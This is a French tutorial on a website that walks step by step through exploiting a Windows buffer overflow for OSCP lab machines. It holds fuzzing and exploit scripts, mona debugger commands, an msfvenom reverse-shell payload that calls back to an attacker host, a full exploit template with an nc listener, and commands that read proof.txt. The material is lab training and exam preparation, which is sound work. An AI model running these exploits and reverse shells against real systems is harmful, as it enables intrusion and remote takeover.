ITSkillsCenter
Cybersécurité

Buffer overflow Windows pour l’OSCP : Immunity Debugger et mona.py — 9 étapes reproductibles

13 دقائق للقراءة

Avertissement légal : ce tutoriel s’applique exclusivement à des environnements de test autorisés — labs OffSec PEN-200 (machines OVERFLOW1 à OVERFLOW10), CTF, machines personnelles. Toute exploitation sur un système tiers sans autorisation écrite est illégale.

Le buffer overflow Windows est un sujet dédié dans le PEN-200. La bonne nouvelle : la méthode est entièrement reproductible en 9 étapes. Une fois la procédure assimilée sur une machine, vous pouvez exploiter n’importe quelle des 10 machines OVERFLOW en 20 à 30 minutes.

Environnement de lab

Outils nécessaires

Outil Rôle Où l’obtenir
Immunity Debugger Debugger Windows avec interface Python immunityinc.com/products/debugger (gratuit)
mona.py Plugin Immunity pour analyse BOF automatisée github.com/corelan/mona
Python 3 (Kali) Scripts de fuzzing et d’exploit Inclus dans Kali Linux
msfvenom (Kali) Génération du shellcode Inclus dans Metasploit Framework
App vulnérable brainpan.exe, oscp.exe, vulnserver.exe Labs PEN-200 ou TryHackMe BOF Prep

Configuration initiale de mona.py

# Dans Immunity Debugger — barre de commande en bas (!)
!mona config -set workingfolder C:\mona\%p

# Explication : %p = nom du processus débuggé
# Tous les fichiers mona seront créés dans C:\mona\NomDuProcessus\

Attacher le processus cible dans Immunity

1. Lancer l'application vulnérable (ex: oscp.exe)
2. Immunity Debugger → File → Attach → sélectionner oscp.exe
3. Appuyer sur F9 (Run) — le processus doit être en état "Running"
4. En bas à droite d'Immunity : "Running" en vert = prêt

Étape 1 — Fuzzing pour trouver l’offset approximatif

L’objectif est de déterminer à partir de combien d’octets le programme crashe (EIP est écrasé).

Script de fuzzing Python

#!/usr/bin/env python3
# fuzzer.py
import socket
import time
import sys

HOST = "10.10.10.x"   # IP de la machine cible
PORT = 1337            # Port du service vulnérable
TIMEOUT = 5

prefix = "OVERFLOW1 "  # Commande spécifique au service (si applicable)
string = prefix + "A" * 100

while True:
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(TIMEOUT)
            s.connect((HOST, PORT))
            s.recv(1024)  # Banner
            print(f"[*] Envoi de {len(string) - len(prefix)} octets...")
            s.send(bytes(string, "latin-1"))
            s.recv(1024)
    except Exception:
        print(f"[!] Crash à ~{len(string) - len(prefix)} octets")
        sys.exit(0)
    string += "A" * 100
    time.sleep(0.5)
# Exécuter sur Kali
python3 fuzzer.py
# [*] Envoi de 100 octets...
# [*] Envoi de 200 octets...
# ...
# [!] Crash à ~2000 octets

Dans Immunity, vous devriez voir le statut passer à « Access violation » et EIP contenir 41414141 (AAAA).


Étape 2 — Pattern cyclique pour l’offset exact

Envoyer un pattern unique permet à mona de calculer l’offset exact auquel EIP est écrasé.

Générer le pattern (mona ou msf-pattern_create)

# Sur Kali — générer un pattern de 2400 octets (crash à ~2000 + marge)
msf-pattern_create -l 2400
# Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2...

# Alternative dans Immunity Debugger
!mona pc 2400

Script d’envoi du pattern

#!/usr/bin/env python3
# pattern_send.py
import socket

HOST = "10.10.10.x"
PORT = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""

# Coller le pattern généré ici
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1..."

buffer = prefix + overflow + retn + padding + payload

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    s.recv(1024)
    print(f"[*] Envoi du pattern ({len(payload)} octets)...")
    s.send(bytes(buffer, "latin-1"))
    s.recv(1024)
    print("[+] Envoyé.")

Trouver l’offset exact

# Après le crash dans Immunity :

# Méthode 1 — mona (recommandé)
!mona findmsp -distance 2400
# [+] Examining registers
# EIP contains normal pattern : 0x6f43376f (offset 1978)  ← OFFSET EXACT

# Méthode 2 — msf-pattern_offset sur Kali (lire la valeur EIP dans Immunity)
# EIP affiche : 6f43376f
msf-pattern_offset -l 2400 -q 6f43376f
# [*] Exact match at offset 1978

Étape 3 — Contrôle du registre EIP

Vérifiez que votre offset est correct : EIP doit afficher exactement 42424242 (BBBB).

#!/usr/bin/env python3
# eip_control.py
import socket

HOST = "10.10.10.x"
PORT = 1337
PREFIX = "OVERFLOW1 "

OFFSET = 1978          # Offset trouvé à l'étape 2
OVERFLOW = "A" * OFFSET
RETN = "BBBB"          # 4 octets → doit remplir EIP exactement
PADDING = ""
PAYLOAD = "C" * 16     # Début du buffer après EIP (vérifier ESP)

buffer = PREFIX + OVERFLOW + RETN + PADDING + PAYLOAD

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    s.recv(1024)
    s.send(bytes(buffer, "latin-1"))
    print("[+] Envoyé.")
# Résultat attendu dans Immunity après le crash :
# EIP = 42424242  ✓ (BBBB = contrôle confirmé)
# ESP pointe vers les CCCC (votre futur shellcode)

# Vérifier que ESP pointe bien vers les C
# Dans le panneau des registres : ESP = 0x019...
# Click droit sur ESP → "Follow in Dump" → voir les CCCC dans la mémoire

Étape 4 — Identification des bad characters

Les bad characters sont des octets qui corrompent le shellcode (null byte \x00, retour chariot \x0d, saut de ligne \x0a, etc.). Il faut les identifier et les exclure de msfvenom.

Générer la chaîne de test complète

#!/usr/bin/env python3
# badchars_test.py
import socket

HOST = "10.10.10.x"
PORT = 1337
PREFIX = "OVERFLOW1 "
OFFSET = 1978

# Tous les octets de 0x01 à 0xFF (0x00 toujours exclu)
badchars = (
    b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
    b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
    b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
    b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
    b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
    b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
    b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
    b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
    b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
    b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
    b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
    b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
    b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
    b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

buffer = (PREFIX + "A" * OFFSET + "BBBB").encode("latin-1") + badchars

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    s.recv(1024)
    s.send(buffer)
    print("[+] Envoyé.")

Analyser avec mona

# Dans Immunity après le crash, noter l'adresse ESP (ex: 0x019cfa30)
# Puis :
!mona bytearray -b "\x00"
!mona compare -f C:\mona\oscp\bytearray.bin -a 0x019cfa30

# mona affiche les octets qui diffèrent du bytearray de référence
# Exemple de sortie :
# [+] Comparing with memory at location : 0x019cfa30
# Only 1 mismatch found.
# 0xa0 : 0xa0 (\xa0) differs...

# IMPORTANT : mona peut indiquer des "faux positifs" sur les octets SUIVANT un bad char
# → Toujours re-tester après avoir exclu chaque bad char trouvé

Processus itératif

  1. Identifier le premier bad char signalé par mona (ex: \x0a)
  2. Le retirer de la chaîne badchars
  3. Régénérer le bytearray : !mona bytearray -b "\x00\x0a"
  4. Re-lancer le script et re-comparer
  5. Répéter jusqu’à « Unmodified » dans la sortie mona

Étape 5 — Trouver une adresse JMP ESP

Vous devez trouver une instruction JMP ESP dans un module chargé sans ASLR, sans DEP, sans Rebase. Cette adresse sera placée dans EIP pour rediriger l’exécution vers votre shellcode sur la pile.

Recherche avec mona

# Chercher JMP ESP (opcode \xff\xe4) dans tous les modules
# Exclure les bad chars identifiés à l'étape 4 (ex: \x00\x0a\x0d)
!mona jmp -r esp -cpb "\x00\x0a\x0d"

# Résultat dans C:\mona\oscp\jmp.txt :
# 0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll]
# REBASE: False, SAFESH: False, ASLR: False, NX: False

Vérifier l’adresse trouvée

# Dans Immunity — aller à l'adresse
Ctrl+G → entrer l'adresse : 625011af
# Vérifier que l'instruction affichée est bien : JMP ESP

# Placer un breakpoint pour confirmer (F2 sur la ligne)
# Relancer l'exploit → le breakpoint doit être atteint

Sélectionner la bonne adresse

# Critères de sélection :
# ✓ REBASE = False   (adresse stable au reboot)
# ✓ ASLR   = False   (adresse non randomisée)
# ✓ SafeSEH = False  (pas de protection SEH)
# ✓ NXCompat = False (pas de DEP)
# ✓ L'adresse ne contient aucun bad char

# Exemple : 0x625011af
# \xaf\x11\x50\x62  (little-endian pour Python)

Étape 6 — Générer le shellcode

# Reverse shell Windows x86 avec exclusion des bad chars
msfvenom -p windows/shell_reverse_tcp \
  LHOST=10.10.14.x \
  LPORT=4444 \
  EXITFUNC=thread \
  -b "\x00\x0a\x0d" \
  -f python \
  --var-name payload

# Explication des options :
# -p windows/shell_reverse_tcp : payload reverse shell TCP (x86, pas x64)
# EXITFUNC=thread : ferme proprement le thread sans crasher le processus
# -b : bad characters à exclure (liste trouvée à l'étape 4)
# -f python : format de sortie Python
# --var-name payload : nom de la variable dans le code généré

Sortie typique :

payload =  b""
payload += b"\xba\x7e\xce\x17\x0f\xd9\xec\xd9\x74\x24\xf4"
payload += b"\x58\x31\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"
# ... (environ 350-400 octets)

Étape 7 — Exploit final

#!/usr/bin/env python3
# exploit.py — Template final OSCP BOF

import socket

HOST = "10.10.10.x"
PORT = 1337
PREFIX = "OVERFLOW1 "

# ─── Paramètres trouvés aux étapes précédentes ───────────────────────────────
OFFSET  = 1978                     # Étape 2 — offset exact
RETN    = b"\xaf\x11\x50\x62"     # Étape 5 — adresse JMP ESP en little-endian
PADDING = b"\x90" * 16            # NOP sled — 16 octets minimum

# ─── Shellcode généré à l'étape 6 ────────────────────────────────────────────
payload  = b""
payload += b"\xba\x7e\xce\x17\x0f\xd9\xec\xd9\x74\x24\xf4"
payload += b"\x58\x31\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"
# ... (coller le shellcode complet ici)

# ─── Construction du buffer ──────────────────────────────────────────────────
buffer  = PREFIX.encode("latin-1")
buffer += b"A" * OFFSET    # Remplissage jusqu'à EIP
buffer += RETN             # Adresse JMP ESP → redirige vers ESP
buffer += PADDING          # NOP sled → espace de tolérance
buffer += payload          # Shellcode reverse shell

# ─── Envoi ───────────────────────────────────────────────────────────────────
print(f"[*] Envoi de {len(buffer)} octets vers {HOST}:{PORT}")

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    s.recv(1024)
    s.send(buffer)
    print("[+] Buffer envoyé. Vérifier le listener nc...")

# ─── Listener Kali ───────────────────────────────────────────────────────────
# nc -lvnp 4444

Exécution

# Sur Kali — ouvrir le listener AVANT de lancer l'exploit
nc -lvnp 4444

# Dans un second terminal
python3 exploit.py

# Résultat attendu sur le listener :
# listening on [any] 4444 ...
# connect to [10.10.14.x] from 10.10.10.x
# Microsoft Windows [Version ...]
# C:\> whoami
# oscp\bob

Étape 8 — Ajuster le NOP sled si l’exploit ne fonctionne pas

Si le shellcode s’exécute partiellement ou pas du tout, le NOP sled est souvent insuffisant ou l’encodeur a généré un shellcode trop long.

Augmenter le NOP sled

# Augmenter progressivement
PADDING = b"\x90" * 32   # 32 NOPs
PADDING = b"\x90" * 64   # si toujours échec

# Vérifier que la taille totale reste dans l'espace disponible sur la pile
# OFFSET + 4 (RETN) + NOP + shellcode ≤ buffer réel du programme

Changer l’encodeur msfvenom

# Essayer shikata_ga_nai (défaut) si les autres échouent
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.x LPORT=4444 \
  EXITFUNC=thread -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -i 1 \
  -f python --var-name payload

# Essayer x86/jmp_call_additive si shikata_ga_nai est filtré
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.x LPORT=4444 \
  EXITFUNC=thread -b "\x00\x0a\x0d" -e x86/jmp_call_additive \
  -f python --var-name payload

Vérifier avec un breakpoint sur JMP ESP

# Dans Immunity, placer F2 sur l'adresse JMP ESP
# Relancer → si le breakpoint est atteint mais le shell n'arrive pas,
# le problème est dans le shellcode (bad char manquant, encodeur)

# Depuis le breakpoint, appuyer F8 (Step Over) pour suivre l'exécution
# dans le NOP sled, puis dans le shellcode

Checklist exam — BOF en 30 minutes

# Étape Durée estimée Résultat attendu
1 Attacher Immunity + configurer mona 2 min Processus en « Running »
2 Fuzzer → crash approximatif 3 min Crash à ~N octets
3 Pattern cyclique → offset exact 3 min EIP = offset précis
4 Contrôle EIP (BBBB) 1 min EIP = 42424242
5 Bad chars (itératif) 5-10 min Liste finale bad chars
6 JMP ESP avec mona 2 min Adresse stable, sans bad chars
7 Shellcode msfvenom 1 min payload variable Python
8 Exploit final + listener 2 min Shell sur nc -lvnp 4444
9 Capture proof.txt 30 sec Screenshot id + proof

Récupérer proof.txt après shell

# Dans le shell obtenu sur nc
whoami
hostname
type C:\Users\Administrator\Desktop\proof.txt
ipconfig

Erreurs fréquentes en exam

Symptôme Cause probable Fix
EIP ≠ BBBB après contrôle Offset incorrect Re-vérifier msf-pattern_offset avec la valeur EIP exacte
JMP ESP introuvable Mauvais module ou bad chars dans l’adresse !mona modules — vérifier les colonnes REBASE/ASLR/SafeSEH
Breakpoint atteint mais pas de shell Bad char manquant dans la liste Re-tester le bytearray après ajout du bad char suspect
Shell instable / crash immédiat EXITFUNC incorrect Changer en EXITFUNC=thread ou EXITFUNC=seh
Connexion nc mais pas de prompt Payload x64 sur processus x86 Utiliser windows/shell_reverse_tcp (x86), pas x64

Ressources et références


Prochaines étapes

Besoin d'un site web ?

Confiez-nous la Création de Votre Site Web

Site vitrine, e-commerce ou application web — nous transformons votre vision en réalité digitale. Accompagnement personnalisé de A à Z.

À partir de 250.000 FCFA
Parlons de Votre Projet
Publicité